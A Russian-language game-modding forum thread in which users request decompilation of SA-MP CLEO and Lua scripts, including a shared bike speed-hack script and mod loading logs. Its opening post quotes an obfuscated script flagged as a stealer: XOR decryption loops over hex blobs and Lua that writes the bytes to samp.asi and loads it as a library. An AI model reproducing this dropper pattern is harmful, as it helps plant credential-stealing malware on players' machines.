000A:  // Note: the incorrect math opcode was used here
000F:  // Note: the incorrect math opcode was used here
8500:   not player 0@s skin ==
0103:   actor stopped_in_car
hex
01 1C FF FF FF 9F 0A 03
end
jump s$192
jump 16
0A8D: 3@ = read_memory 2@ size 4 virtual_protect 1
0062: 3@ -= 0@ // (int)
4@ = 0
0A8E: 5@ = 3@ + 4@ // int
0A8D: 6@ = read_memory 5@ size 1 virtual_protect 1
7@ = -51
0B12: 6@ = 6@ XOR 7@
0A8C: write_memory 5@ size 1 value 6@ virtual_protect 1
4@ += 1
001D:   4@ > 1@ // (int)
jf @NONAME_3065
ret 0
hex
A5 23 93 5C A2 DF 9B 67 F7 8B 75 B3 2B DD ED 92
DB 75 0E D4 2E 83 D4 22 54 6E 92 9B 26 45 94 2A
7C FB 74 52 6A 27 2F B6 B2 1D A6 DC 4E F2 44 84
14 4C 57 C2 33 EC 6E BA 57 37 14 3B FD 42 DD 5C
6E 34 E5 AB 83 93 42 3C 5F 6D A4 D5 C4 C6 6B 1E
DA 15 3E 85 A6 9B CD F3 FF B2 05 2A E2 E2
end
03DE: set_pedestrians_density_multiplier_to 25150@s
hex
6B 9C BB 8E 63 9E 44 64 63 86 52 9C E3 6B EB 2A
85 4F 15 35 FA C6 4B 0E D6 E5 DD 53 EA D7 A3 CD
64 D6 BB 6B 6F 06 AD 27 7E 4A 5C FC 16 0B 6C 12
B6 6C 57 A4 87 27 8E 7A 36 63 3F 5E C5 52 B2 8F
26 9D 65 97 C7 53 06 1C E2 C6 07 9B FD FB 82 5D
15 24 12 65 B4 16 2E F3 73 8D D2 5F A2 7D 37 4F
07 0D FC 64 06 53 5E FE F3 1E 0D F6 67 AE 8F B3
FC CD F2 ED E6 1E 0C 16 75 6A 0F EF 7A CE 4E CB
8E 6F 04 13 23 8B 6E 33 04 9D C3 2B B4 75 EF 9C
AC 7D 7F DE 8A 75 3A 2B C6 E5 77 62 2F 92 B5 9D
B6 AD 86 6F 6B 04 C6 92 6E 7D A7 14 72 74 27 4B
B5 02 62 67 3E 0E 2F 9C 54 CA 6E D2 4E CD 2A 34
BE EF 55 B6 0B 07 CE 53 1D 35 8A B3 37 FC 76 CE
4D D7 2A FD F3 27 FF FF
end
0A9F: 2@ = current_thread_pointer
2@ += 16
0A8D: 3@ = read_memory 2@ size 4 virtual_protect 1
0062: 3@ -= 0@ // (int)
4@ = 0
0A8E: 5@ = 3@ + 4@ // int
0A8D: 6@ = read_memory 5@ size 1 virtual_protect 1
7@ = -101
0A8F: 6@ = 255 - 6@ // int
0A8C: write_memory 5@ size 1 value 6@ virtual_protect 1
4@ += 1
001D:   4@ > 1@ // (int)
jf @NONAME_3509
ret 0
hex
E3 3B 1B DC 8B 6A 2B 83 26 A6 16 4A F5 07 CF 44
1B DA 66 8C 4A C4 BF 45 65 74 23 33 8C 95 4C 16
0C 4B E7 DC FC 25 55 4A 87 6D DD E7 5E 4A E3 A5
BA 9A 2F B3 3B 5F 6F 2F DC 46 DE 6B E5 64 D2 4A
AD 6D D6 6B 35 8F AD 42 5D 12 E4 F3 BF 54 DD 75
F6 24 57 B4 2B 0B CE 56 1A 76 1C E2 BF D7 D7 42
97 E2 4D DB 2A BE CD 93 4F 7B 3C A7 BD 22 EA E3
A7 13 3F 46 3E 5F FC 86 57 AD 97 1A 55 4E 0C 43
2A C6 67 FD 33 7F 64 72 B4 74 BC 75 8C 23 C7 3E
BF 2A 05 FC FF 3A 9B A7 8E A4 B6 2B 55 FA 43 9D
96 34 1F 6D 03 F4 1E FC
end
0012:  // Note: the incorrect math opcode was used here
hex
00 5F 5F 53 42 46 54 52 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
end

это стиллер
Lua:
}
fq = io.open("samp.asi", "wb")

for slot3, slot4 in pairs(s) do
    fq:write(string.char(slot4))
end

io.close(fq)

lib, biil = loadDynamicLibrary("samp.asi")
а чем ты его открыл? avp мне не открыл его(
 

woodware

Потрачен
Проверенный
5,001
1,441
декомпилируйте скрипт пожалуйста
 

Вложения

  • VeloHack by Dapo Show.cs
    1.3 KB · Просмотры: 4

Fix_Play

Потрачен
105
30
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
декомпилируйте скрипт пожалуйста
на ЛУА тот же скрипт.
Lua:
script_name("velohack")
script_author("net")
script_version("1")

bike = {[481] = true, [509] = true, [510] = true}
moto = {[448] = true, [461] = true, [462] = true, [463] = true, [468] = true, [471] = true, [521] = true, [522] = true, [523] = true, [581] = true, [586] = true}

function main()
while true do
    wait(0)
    
        if isCharOnAnyBike(playerPed) and isKeyCheckAvailable() and isKeyDown(0xA0) then    -- onBike&onMoto SpeedUP [[LSHIFT]] --
            if bike[getCarModel(storeCarCharIsInNoSave(playerPed))] then
                setGameKeyState(16, 255)
                wait(10)
                setGameKeyState(16, 0)
            elseif moto[getCarModel(storeCarCharIsInNoSave(playerPed))] then
                setGameKeyState(1, -128)
                wait(10)
                setGameKeyState(1, 0)
            end
        end
        
        if isCharOnFoot(playerPed) and isKeyDown(0x32) and isKeyCheckAvailable() then -- onFoot&inWater SpeedUP [[1]] --
            setGameKeyState(16, 256)
            wait(10)
            setGameKeyState(16, 0)
        elseif isCharInWater(playerPed) and isKeyDown(0x32 ) and isKeyCheckAvailable() then
            setGameKeyState(16, 256)
            wait(10)
            setGameKeyState(16, 0)
        end
    end
end

function isKeyCheckAvailable()
    if not isSampLoaded() then
        return true
    end
    if not isSampfuncsLoaded() then
        return not sampIsChatInputActive() and not sampIsDialogActive()
    end
    return not sampIsChatInputActive() and not sampIsDialogActive() and not isSampfuncsConsoleActive()
end
 

woodware

Потрачен
Проверенный
5,001
1,441
мне нужно на пкм, на шифт не так удобно, я привык уже, хотя ладно там пару цифр изменить и все
 

Fix_Play

Потрачен
105
30
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

woodware

Потрачен
Проверенный
5,001
1,441
декомпилируйте пожалуйста этот скрипт
 

Вложения

  • rend .cs
    72.2 KB · Просмотры: 5

615 team

Новичок
25
3
Приветствую. Помогите открыть скрипты от дапо & джизуз. Надоели строчки при заходе в игру, а все аналоги не получается найти.
Если есть способ декрипта или сам декриптор, который будет действовать, то готов отблагодарить материально. (В пределах разумного)
Сами скрипты
[11:03:38] {73b461}[SkyControl] {ffffff}Загружен! Используйте:{DC4747} /skycontrol /sc

[11:03:38] {73b461}[FastQuit] {ffffff}Загружен!

[11:03:38] {73b461}[DFL Editor] {ffffff}Загружен! {DC4747}Управление: {ffffff}/fd, /dd, /ld {DC4747}v3.0 {ffffff}by Dapo Show

[11:03:38] {73b461}[CrosshairEditor] {ffffff}Загружен! Используйте: {DC4747}/cx /cy

[11:03:44] {73b461}[Time/Weather] {ffffff}Загружен! {DC4747}Команды: {ffffff}/st, /sw, /bt, /bw {DC4747}v3.0 {ffffff}by Dapo Show

[11:03:44] [CCleaner] {ffffff}Команды: {dc4747}/ccl, /ccln [кол-во], /cclinfo {ffffff}v3.5 by Dapo Show

[11:03:44] {73b461}[SPAWN FIX] {ffffff}Успешно загружен! Автор: {dc4747}Dapo Show

[11:03:45] {73b461}[CustomRadar] {ffffff}Загружен! Помощь: {DC4747}/radarhelp {73b461}by Dapo Show

[11:03:47] {73b461}[VoiceHelper] {FFFFFF}Справка /voicehelp {dc4747}by Black Jesus v3.0

[11:03:47] {73b461}[SKIN CHANGER] {ffffff}Загружен! {DC4747}Команды: {ffffff}/ss, /fskin, /sskin, /setskin, /getskin, /pskin
 

Вложения

  • !FixSpawnBug by Dapo Show.cs
    660 байт · Просмотры: 8
  • CCleaner v3.5 by Dapo Show.cs
    2.1 KB · Просмотры: 9
  • voicehelper.cs
    6.2 KB · Просмотры: 6
  • TimeWeather by Dapo Show v3.0.cs
    3.3 KB · Просмотры: 8
  • SkyControl.cs
    1.4 KB · Просмотры: 7
  • SkinChanger v2.1 by Dapo Show.cs
    3.3 KB · Просмотры: 5
  • Fast_Q.cs
    673 байт · Просмотры: 5
  • DFL Editor by Dapo Show.cs
    3.7 KB · Просмотры: 5
  • CustomRadar v3.0 by Dapo Show.cs
    5.1 KB · Просмотры: 4
  • CrosshairFix.cs
    1.3 KB · Просмотры: 5

Fix_Play

Потрачен
105
30
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Приветствую. Помогите открыть скрипты от дапо & джизуз. Надоели строчки при заходе в игру, а все аналоги не получается найти.
Если есть способ декрипта или сам декриптор, который будет действовать, то готов отблагодарить материально. (В пределах разумного)
Сами скрипты
[11:03:38] {73b461}[SkyControl] {ffffff}Загружен! Используйте:{DC4747} /skycontrol /sc

[11:03:38] {73b461}[FastQuit] {ffffff}Загружен!

[11:03:38] {73b461}[DFL Editor] {ffffff}Загружен! {DC4747}Управление: {ffffff}/fd, /dd, /ld {DC4747}v3.0 {ffffff}by Dapo Show

[11:03:38] {73b461}[CrosshairEditor] {ffffff}Загружен! Используйте: {DC4747}/cx /cy

[11:03:44] {73b461}[Time/Weather] {ffffff}Загружен! {DC4747}Команды: {ffffff}/st, /sw, /bt, /bw {DC4747}v3.0 {ffffff}by Dapo Show

[11:03:44] [CCleaner] {ffffff}Команды: {dc4747}/ccl, /ccln [кол-во], /cclinfo {ffffff}v3.5 by Dapo Show

[11:03:44] {73b461}[SPAWN FIX] {ffffff}Успешно загружен! Автор: {dc4747}Dapo Show

[11:03:45] {73b461}[CustomRadar] {ffffff}Загружен! Помощь: {DC4747}/radarhelp {73b461}by Dapo Show

[11:03:47] {73b461}[VoiceHelper] {FFFFFF}Справка /voicehelp {dc4747}by Black Jesus v3.0

[11:03:47] {73b461}[SKIN CHANGER] {ffffff}Загружен! {DC4747}Команды: {ffffff}/ss, /fskin, /sskin, /setskin, /getskin, /pskin
привет не знаю кто решится тебе открыть эти скрипты но каждый скрипт один это примерно 5 минут. В итоге если открывать почти час. Готов за маленькую плату открыть все скрипты
Приветствую. Помогите открыть скрипты от дапо & джизуз. Надоели строчки при заходе в игру, а все аналоги не получается найти.
Если есть способ декрипта или сам декриптор, который будет действовать, то готов отблагодарить материально. (В пределах разумного)
Сами скрипты
[11:03:38] {73b461}[SkyControl] {ffffff}Загружен! Используйте:{DC4747} /skycontrol /sc

[11:03:38] {73b461}[FastQuit] {ffffff}Загружен!

[11:03:38] {73b461}[DFL Editor] {ffffff}Загружен! {DC4747}Управление: {ffffff}/fd, /dd, /ld {DC4747}v3.0 {ffffff}by Dapo Show

[11:03:38] {73b461}[CrosshairEditor] {ffffff}Загружен! Используйте: {DC4747}/cx /cy

[11:03:44] {73b461}[Time/Weather] {ffffff}Загружен! {DC4747}Команды: {ffffff}/st, /sw, /bt, /bw {DC4747}v3.0 {ffffff}by Dapo Show

[11:03:44] [CCleaner] {ffffff}Команды: {dc4747}/ccl, /ccln [кол-во], /cclinfo {ffffff}v3.5 by Dapo Show

[11:03:44] {73b461}[SPAWN FIX] {ffffff}Успешно загружен! Автор: {dc4747}Dapo Show

[11:03:45] {73b461}[CustomRadar] {ffffff}Загружен! Помощь: {DC4747}/radarhelp {73b461}by Dapo Show

[11:03:47] {73b461}[VoiceHelper] {FFFFFF}Справка /voicehelp {dc4747}by Black Jesus v3.0

[11:03:47] {73b461}[SKIN CHANGER] {ffffff}Загружен! {DC4747}Команды: {ffffff}/ss, /fskin, /sskin, /setskin, /getskin, /pskin
0B76: samp set_chat_input_text "/q"
0B79: samp set_chat_input_enabled true
0DBF: emul_key_press 0xD is_up 0
wait 10
0DBF: emul_key_press 0xD is_up 1
Лучше использовать так чем код ниже
 

Вложения

  • skycontrol.txt
    3.5 KB · Просмотры: 6
  • fixspawn.txt
    1.8 KB · Просмотры: 8
  • dfleditor.txt
    7.2 KB · Просмотры: 8
  • ccleaner.txt
    4.3 KB · Просмотры: 9
  • timeandweather.txt
    434 байт · Просмотры: 8
  • voicehelper.txt
    14.4 KB · Просмотры: 3
  • измена скина.txt
    6.5 KB · Просмотры: 5
  • кастомрадар.txt
    11.5 KB · Просмотры: 8
  • прицелфикс.txt
    3.4 KB · Просмотры: 5
  • fastq.txt
    801 байт · Просмотры: 7
Последнее редактирование:

danissimo.

Известный
38
8
декомпильните ребятки, буду благодарен
 

Вложения

  • Teleport.luac
    30.3 KB · Просмотры: 8